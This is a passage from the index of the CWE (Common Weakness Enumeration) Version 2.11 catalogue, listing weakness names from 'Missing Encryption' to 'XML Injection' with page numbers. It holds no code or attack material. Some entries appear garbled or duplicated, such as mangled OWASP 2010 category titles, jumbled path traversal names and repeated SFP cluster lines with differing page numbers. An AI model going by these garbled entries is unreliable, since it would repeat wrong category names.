Missing Encryption of Sensitive Data, 549
Missing Handler, 741
Missing Initialization of a Variable, 772
Missing Initialization of Resource, 1336
Missing Lock Check, 717
Missing Password Field Masking, 890
Missing Reference to Active Allocated Resource, 1185
Missing Reference to Active File Descriptor or Handle, 1190
Missing Release of File Descriptor or Handle after Effective Lifetime, 1192
Missing Release of Resource after Effective Lifetime, 1186
Missing Report of Error Condition, 678
Missing Required Cryptographic Step, 571
Missing Standardized Error Handling Mechanism, 886
Missing Support for Integrity Check, 617
Missing Synchronization, 1252
Missing Validation of OpenSSL Certificate, 942
Missing XML Validation, 210
Mobile Code Issues, 828
Modification of Assumed-Immutable Data (MAID), 793
Motivation/Intent, 853
Multiple Binds to the Same Port, 953
Multiple Interpretations of UI Input, 764
Multiple Locks of a Critical Resource, 1171
Multiple Unlocks of a Critical Resource, 1172
Named Chains, 1112 (Graph: 1469)
.NET Environment Issues, 863
.NET Misconfiguration: Use of Impersonation, 864
Non-exit on Failed Initialization, 771
Non-Replicating Malicious Code, 856
Not Failing Securely ('Failing Open'), 985
Not Using a Random IV with CBC Mode, 581
Not Using Complete Mediation, 988
Not Using Password Aging, 467
Null Byte Interaction Error (Poison Null Byte), 976
NULL Pointer Dereference, 800
Numeric Errors, 360
Numeric Range Comparison Without Minimum Check, 1283
Numeric Truncation Error, 381
O
Object Model Violation: Just One of Equals and Hashcode Defined, 924
Obscured Security-relevant Information by Alternate Name, 416
Obsolete Feature in UI, 763
Off-by-one Error, 371
Often Misused: Arguments and Parameters, 896
Often Misused: String Management, 446
Omission of Security-relevant Information, 415
Omitted Break Statement in Switch, 819
Only Filtering One Instance of a Special Element, 1219
Only Filtering Special Elements at a Specified Location, 1221
Only Filtering Special Elements at an Absolute Position, 1222
Only Filtering Special Elements Relative to a Marker, 1222
Operation on a Resource after Expiration or Release, 1041
Operation on Resource in Wrong Phase of Lifetime, 1033
Operator Precedence Logic Error, 1203
Origin Validation Error, 603
Other Intentional, Nonmalicious Weakness, 862
Out-of-bounds Read, 253
Out-of-bounds Write, 1211
Overly Permissive Cross-domain Whitelist, 1371
Overly Restrictive Account Lockout Mechanism, 1002
Overly Restrictive Regular Expression, 356
OWASP Top Ten 2004 Category A1 - Unvalidated Input, 1118
OWASP Top Ten 2004 Category A10 - Insecure Configuration Management, 1123
OWASP Top Ten 2004 Category A2 - Broken Access Control, 1119
OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management, 1120
OWASP Top Ten 2004 Category A4 - Cross-Site Scripting (XSS) Flaws, 1121
OWASP Top Ten 2004 Category A5 - Buffer Overflows, 1121
OWASP Top Ten 2004 Category A6 - Injection Flaws, 1121
OWASP Top Ten 2004 Category A7 - Improper Error Handling, 1122
OWASP Top Ten 2004 Category A8 - Insecure Storage, 1122
OWASP Top Ten 2004 Category A9 - Denial of Service, 1123
OWASP Top Ten 2007 Category A1 - Cross Site Scripting (XSS), 1114
OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access, 1118
OWASP Top Ten 2007 Category A2 - Injection Flaws, 1115
OWASP Top Ten 2007 Category A3 - Malicious File Execution, 1115
OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference, 1116
OWASP Top Ten 2007 Category A5 - Cross Site Request Forgery (CSRF), 1116
OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling, 1116
OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management, 1117
OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage, 1117
OWASP Top Ten 2007 Category A9 - Insecure Communications, 1118
OWASP Top Ten 2010 Category A1 - Injection, 1249
OWASP Top Ten 2010 Category A10 - Unvalidated Redirects and Forwards, 1252
OWASP Top Ten 2010 Category A2 - Cross-Site Scripting (XSS), 1250
OWASP Top Ten 2010 Category A3 - Broken Object References, 1250
OWASP Top Ten 2010 Category A5 - Cross-Site Request Forgery (CSRF), 1250
OWASP Top Ten 2010 Category A6 - Insecure Direct Layer Protection, 1252
OWASP Top Ten 2010 Category A7 - Injection Redirections and Forwards, 1266
OWASP Top Ten 2010 Category A8 - Failure to Restrict URL Access, 1251
OWASP Top Ten 2010 Category A9 - Insufficient Transport Layer Protection, 1252
OWASP Top Ten 2013 Category A1 - Injection, 1362
OWASP Top Ten 2013 Category A10 - Unvalidated Redirects and Forwards, 1366
OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management, 1363
OWASP Top Ten 2013 Category A3 - Cross-Site Scripting (XSS), 1363
OWASP Top Ten 2013 Category A4 - Insecure Direct Object References, 1363
OWASP Top Ten 2013 Category A5 - Security Misconfiguration, 1364
OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure, 1364
OWASP Top Ten 2013 Category A7 - Missing Function Level Access Control, 1365
OWASP Top Ten 2013 Category A8 - Cross-Site Request Forgery (CSRF), 1365
OWASP Top Ten 2013 Category A9 - Using Components with Known Vulnerabilities, 1365

**P**
Partial Comparison, 357
Passing Mutable Objects to an Untrusted Method, 653
Password Aging with Long Expiration, 468
Password in Configuration File, 464
Path Equivalence: ‘filename’ (Leading Space), 81
Path Equivalence: ‘/’ (Single Dot Directory), 87
Path Equivalence: ‘/multiple/leading/slash’, 83
Path Equivalence: ‘/multiple/internal/slash’, 84
Path Equivalence: ‘/multiple/trailing/slash’/, 85
Path Equivalence: ‘multiple\internal\backslash’, 86
Path Equivalence: ‘fake\dir/real/dir\filename’, 89
Path Equivalence: ‘file name’ (Internal Whitespace), 82
Path Equivalence: ‘filedir’ (Wildcard), 88
Path Equivalence: ‘filedir’ (Trailing Backslash), 86
Path Equivalence: ‘filename’ (Trailing Space), 80
Path Equivalence: ‘file.name’ (Internal Dot), 79
Path Equivalence: ‘file...name’ (Multiple Internal Dot), 80
Path Equivalence: ‘filename...’ (Multiple Trailing Dot), 79
Path Equivalence: ‘filenam.e’ (Trailing Dot), 78
Path Equivalence: ‘filename’ (Trailing Slash), 83
Path Equivalence: Windows 8.3 Filename, 90
Path Traversal: ‘..’ (Multiple Dot), 58
Path Traversal: ‘...’ (Triple Dot), 57
Path Traversal: ‘...//’, 60
Path Traversal: ‘.../..’, 62
Path Traversal: ‘/..//’, 60
Path Traversal: ‘absolute/pathname/here’, 67
Path Traversal: ‘dir/../filename’, 48
Path Traversal: ‘..../filendir’, 45
Path Traversal: ‘..../filename’, 52
Path Traversal: '\UNC\share\name\' (Windows UNC Share), 72
Path Traversal: ‘absolute/pathname/here’, 68
Path Traversal: ‘dir/..../filename’, 54
Path Traversal: ‘..../filendir’, 51
Path Traversal: ‘C:dirname’, 70
Path Traversal: ‘dir/..../filename’, 49
Path Traversal: ‘dir/..../filename’, 55
Pathname Traversal and Equivalence Errors, 29
Permission Issues, 489
Permission Race Condition During Resource Copy, 1072
Permissions, Privileges, and Access Controls, 469
Permissive Regular Expression, 975
Permissive Whitelist, 352
PHP External Variable Modification, 798
Placement of User into Incorrect Group, 1290
Plaintext Storage of a Password, 455
Pointer Issues, 784
Predictability Problems, 597
Predictable Exact Value from Previous Values, 599
Predictable from Observable State, 597
Predictable Seed in PRNG, 594
Predictable Value Range from Previous Values, 600
Premature Release of Resource During Expected Lifetime, 1261
Private Array-Typed Field Returned From A Public Method, 840
Privilege / Sandbox Issues, 470
Privilege Chaining, 476
Privilege Context Switching Error, 480
Privilege Defined With Unsafe Actions, 474
Privilege Dropping / Lowering Errors, 481
PRNG Seed Error, 592
Process Control, 215
Product UI does not Warn User of Unsafe Actions, 621
Protection Mechanism Failure, 1077
Public cloneable() Method Without Final (’Object Hijack’), 828
Public Data Assigned to Private Array-Typed Field, 841
Public Static Final Field References Mutable Object, 955

**R**
Race Condition During Access to Alternate Channel, 726
Race Condition Enabling Link Following, 635
Race Condition in Switch, 640
Race Condition within a Thread, 641
Reachable Assertion, 966
Reflection Attack in an Authentication Protocol, 533
Regular Expression without Anchors, 1195
Relative Path Traversal, 40
Release of Invalid Pointer or Reference, 1167
Reliance on a Single Factor in a Security Decision, 1014
S

SFP Primary Cluster: Unused entities, 1327
SFP Primary Cluster: UI, 1333
SFP Primary Cluster: Tainted Input, 1330
SFP Primary Cluster: Synchronization, 1329
SFP Primary Cluster: Risky Values, 1327
SFP Primary Cluster: Resource Management, 1329
SFP Primary Cluster: Privilege, 1332
SFP Primary Cluster: Predictability, 1333
SFP Primary Cluster: Other, 1334
SFP Primary Cluster: Mutability, 1335
SFP Primary Cluster: Malware, 1333
SFP Primary Cluster: Memory Access, 1328
SFP Primary Cluster: Memory Management, 1329
SFP Primary Cluster: Other, 1334
SFP Primary Cluster: Path Resolution, 1329
SFP Primary Cluster: Multiple Accounts, 1328
SFP Primary Cluster: Multiple Permissions, 1328
SFP Primary Cluster: Multiple Locks/Unlocks, 1391
SFP Primary Cluster: Multiple Binds to the Same Port, 1378
SFP Primary Cluster: Multiple Tokens, 1391
SFP Primary Cluster: Multiple API Calls, 1391
SFP Primary Cluster: Malicious Code (Virus or Worm), 857
SFP Primary Cluster: Memory Access, 1328
SFP Primary Cluster: Memory Management, 1329
SFP Primary Cluster: Malware, 1333
SFP Primary Cluster: Information Leak, 1330
SFP Primary Cluster: Exception Management, 1328
SFP Primary Cluster: Entry Points, 1330
SFP Primary Cluster: Cryptography, 1332
SFP Primary Cluster: Channel, 1332
SFP Primary Cluster: Authentication, 1330
SFP Primary Cluster: Access Control, 1331
SFP Primary Cluster: API, 1327
SFP Primary Cluster: Life Cycle, 1383
SFP Primary Cluster: Link in Resource Name Resolution, 1388
SFP Primary Cluster: Missing Endpoint Authentication, 1378
SFP Primary Cluster: Missing Lock, 1391
SFP Primary Cluster: Multiple Binds to the Same Port, 1378
SFP Primary Cluster: Multiple Locks/Unlocks, 1391
SFP Primary Cluster: Other Exposure, 1383
SFP Primary Cluster: Path Traversal, 1388
SFP Primary Cluster: Protocol Error, 1379
SFP Primary Cluster: Race Condition Window, 1391
SFP Primary Cluster: Security, 1396
SFP Primary Cluster: State Disclosure, 1384
SFP Primary Cluster: Tainted Input to Command, 1392
SFP Primary Cluster: Tainted Input to Environment, 1380
SFP Primary Cluster: Tainted Input to Variable, 1396
SFP Primary Cluster: Unchecked Status Condition, 1380
SFP Primary Cluster: Unexpected Entry Points, 1414
SFP Primary Cluster: Unrestricted Authentication, 1378
SFP Primary Cluster: Unrestricted Consumption, 1390
SFP Primary Cluster: Unrestricted Lock, 1392
SFP Primary Cluster: Use of an Improper API, 1414

SFP Secondary Cluster: Access Management, 1375
SFP Secondary Cluster: Ambiguous Exception Type, 1380
SFP Secondary Cluster: Architecture, 1386
SFP Secondary Cluster: Authentication Bypass, 1376
SFP Secondary Cluster: Broken Cryptography, 1379
SFP Secondary Cluster: Channel Attack, 1378
SFP Secondary Cluster: Compiler, 1386
SFP Secondary Cluster: Covert Channel, 1384
SFP Secondary Cluster: Design, 1387
SFP Secondary Cluster: Digital Certificate, 1376
SFP Secondary Cluster: Exposed Data, 1381
SFP Secondary Cluster: Exposure Temporary File, 1383
SFP Secondary Cluster: Failed Chroot Jail, 1388
SFP Secondary Cluster: Failure to Release Resource, 1389
SFP Secondary Cluster: Faulty Buffer Access, 1385
SFP Secondary Cluster: Faulty Endpoint Authentication, 1376
SFP Secondary Cluster: Faulty Input Transformation, 1395
SFP Secondary Cluster: Faulty Memory Release, 1384
SFP Secondary Cluster: Faulty Pointer Use, 1385
SFP Secondary Cluster: Faulty Resource Use, 1390
SFP Secondary Cluster: Faulty String Expansion, 1385
SFP Secondary Cluster: Feature, 1396
SFP Secondary Cluster: Glitch in Computation, 1397
SFP Secondary Cluster: Hardcoded Sensitive Data, 1377
SFP Secondary Cluster: Implementation, 1387
SFP Secondary Cluster: Improper NULL Termination, 1386
SFP Secondary Cluster: Incorrect Buffer Length Computation, 1386
SFP Secondary Cluster: Incorrect Exception Behavior, 1380
SFP Secondary Cluster: Incorrect Input Handling, 1395
SFP Secondary Cluster: Information Loss, 1397
SFP Secondary Cluster: Insecure Authentication Policy, 1377
SFP Secondary Cluster: Insecure Resource Access, 1375
SFP Secondary Cluster: Insecure Resource Permissions, 1375
SFP Secondary Cluster: Insecure Session Management, 1383
SFP Secondary Cluster: Life Cycle, 1390
SFP Secondary Cluster: Link in Resource Name Resolution, 1388
SFP Secondary Cluster: Missing Authentication, 1377
SFP Secondary Cluster: Missing Endpoint Authentication, 1378
SFP Secondary Cluster: Multiple Binds to the Same Port, 1378
SFP Secondary Cluster: Multiple Locks/Unlocks, 1391
Index

CWE Version 2.11

Index

SFP Secondary Cluster: Weak Cryptography, 1379
Signal Errors, 670
Signal Handler Function Associated with Multiple Signals, 1272
Signal Handler Race Condition, 636
Signal Handler Use of a Non-reentrant Function, 809
Signal Handler with Functionality that is not Asynchronous-Safe, 1263
Signed to Unsigned Conversion Error, 377
Small Seed Space in PRNG, 596
Small Space of Random Values, 590
Software Fault Pattern (SFP) Clusters, 1327 (Graph: 1487)
Source Code, 17
Spyware, 859
SQL Injection: Hibernate, 902
Stack-based Buffer Overflow, 242
State Issues, 652
Storage of Sensitive Data in a Mechanism without Access Control, 1352
Storing Passwords in a Recoverable Format, 457
String Errors, 277
Struts: Duplicate Validation Forms, 193
Struts: Form Bean Does Not Extend Validation Class, 196
Struts: Form Field Without Validator, 198
Struts: Incomplete validate() Method Definition, 194
Struts: Non-private Field in ActionForm Class, 956
Struts: Plug-in Framework not in Use, 201
Struts: Unused Validation Form, 202
Struts: Uninitialized Form Field, 204
Struts: Validator Turned Off, 205
Struts: Validator Without Form Field, 206
Suspicious Comment, 887
Symbolic Name not Mapping to Correct Object, 668

T
Technology-specific Environment Issues, 1
Technology-Specific Input Validation Problems, 192
Technology-Specific Special Elements, 327
Technology-Specific Time and State Issues, 662
Temporary File Issues, 656
The UI Performs the Wrong Action, 763
Time and State, 627
Time-of-check Time-of-use (TOCTOU) Race Condition, 643
Transmission of Private Resources into a New Sphere ('Resource Leak'), 698
Trapdoor, 857
Trojan Horse, 855
Truncation of Security-relevant Information, 414
Trust Boundary Violation, 848
Trust of System Event Data, 626
Trusting HTTP Permission Methods on the Server Side, 1009
Type Errors, 284

U
UI Discrepancy for Security Feature, 761
Uncaught Exception, 439
Uncaught Exception in Servlet, 943
Unchecked Error Condition, 677
Unchecked Input for Loop Condition, 954
Unchecked Return Value, 447
Unchecked Return Value to NULL Pointer Dereference, 1073
Uncontrolled Memory Allocation, 1215
Uncontrolled Recursion, 1044
Uncontrolled Resource Consumption ('Resource Exhaustion'), 689

Uncontrolled Search Path Element, 735
Undefined Behavior for Input to API, 799
Unexpected Sign Extension, 375
Unexpected Status Code or Return Value, 681
Unimplemented or Unsupported Feature in UI, 762
Unintended Proxy or Intermediary ('Confused Deputy'), 755
UNIX Hard Link, 96
UNIX Path Link Problems, 94
UNIX Symbolic Link (Symlink) Following, 95
Unlock of a Resource that is not Locked, 1274
Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism'), 987
Unparsed Raw Web Content Delivery, 743
Unprotected Alternate Channel, 725
Unprotected Primary Channel, 724
Unprotected Transport of Credentials, 868
Unprotected Windows Messaging Channel ('Shatter'), 727
Unquoted Search Path or Element, 738
Unrestricted Externally Accessible Lock, 712
Unrestricted Upload of File with Dangerous Type, 744
Unsafe ActiveX Control Marked Safe For Scripting, 973
Unsigned to Signed Conversion Error, 380
Unsynchronized Access to Shared Data in a Multithreaded Context, 906
Untrusted Pointer Dereference, 1254
Untrusted Search Path, 731
Unverified Ownership, 499
Unverified Password Change, 969
URL redirection to Untrusted Site ('Open Redirect'), 944
Use After Free, 720
Use of a Broken or Risky Cryptographic Algorithm, 574
Use of a Key Past its Expiration Date, 570
Use of a Non-reentrant Function in a Concurrent Context, 1027
Use of a One-Way Hash with a Predictable Salt, 1160
Use of a One-Way Hash without a Salt, 1156
Use of Client-Side Authentication, 952
Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG), 595
Use of Expired File Descriptor, 1338
Use of Externally-Controlled Format String, 277
Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection'), 791
Use of Function with Inconsistent Implementations, 799
Use of getlogin() in Multithreaded Application, 895
Use of Hard-coded Credentials, 1223
Use of Hard-coded Cryptographic Key, 566
Use of Hard-coded Password, 460
Use of Hard-coded, Security-relevant Constants, 888
Use of Implicit Intent for Sensitive Communication, 1359
Use of Incorrect Byte Ordering, 383
Use of Incorrect Operator, 811
Use of Incorrectly-Resolved Name or Reference, 1109
Use of Inherently Dangerous Function, 432
Use of Inner Class Containing Sensitive Data, 829
Use of Insufficiently Random Values, 582
Use of Invariant Value in Dynamically Changing Context, 601
Use of Less Trusted Source, 607
Use of Low-Level Functionality, 1079
Use of Multiple Resources with Duplicate Identifier, 1078
Use of Non-Canonical URL Paths for Authorization Decisions, 1004
Use of NullPointerException Catch to Detect NULL Pointer Dereference, 681
Use of Obsolete Functions, 804
Use of Out-of-range Pointer Offset, 1256
Use of Password Hash Instead of Password for Authentication, 1279
Use of Password Hash With Insufficient Computational Effort, 1345
Use of Password System for Primary Authentication, 546
Use of Path Manipulation Function without Maximum-sized Buffer, 1207
Use of Pointer Subtraction to Determine Size, 789
Use of Potentially Dangerous Function, 1046
Use of RSA Algorithm without OAEP, 1199
Use of Singleton Pattern Without Synchronization in a Multithreaded Context, 885
Use of sizeof() on a Pointer Type, 786
Use of umask() with chmod-style Argument, 897
Use of Uninitialized Resource, 1334
Use of Uninitialized Variable, 774
Use of Wrong Operator in String Comparison, 940
User Interface (UI) Misrepresentation of Critical Information, 765
User Interface Security Issues, 620
Using Referer Field for Authentication, 520

Variable Extraction Error, 971
Violation of Secure Design Principles, 1019

Weak Cryptography for Passwords, 465
Weak Password Recovery Mechanism for Forgotten Password, 991
Weak Password Requirements, 864
Weaknesses in Mobile Applications, 1350
Weaknesses in OWASP Top Ten (2004), 1113
Weaknesses in OWASP Top Ten (2007), 981
Weaknesses in OWASP Top Ten (2010), 1248
Weaknesses in OWASP Top Ten (2013), 1361
Weaknesses in Software Written in C, 1020
Weaknesses in Software Written in C++, 1022
Weaknesses in Software Written in Java, 1024
Weaknesses in Software Written in PHP, 1025
Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors, 1144
Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors, 1231
Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors, 1331
Weaknesses Introduced During Design, 1085
Weaknesses Introduced During Implementation, 1093
Weaknesses that Affect Files or Directories, 983
Weaknesses that Affect Memory, 983
Weaknesses that Affect System Processes, 984
Weaknesses Used by NVD, 985
Weaknesses without Software Fault Patterns, 1398
Web Problems, 757
Windows Hard Link, 100
Windows Path Link Problems, 98
Windows Shortcut Following (.LNK), 98
Windows Virtual File Problems, 104
Wrap-around Error, 256
Write-what-where Condition, 248
XML Injection (aka Blind XPath Injection), 170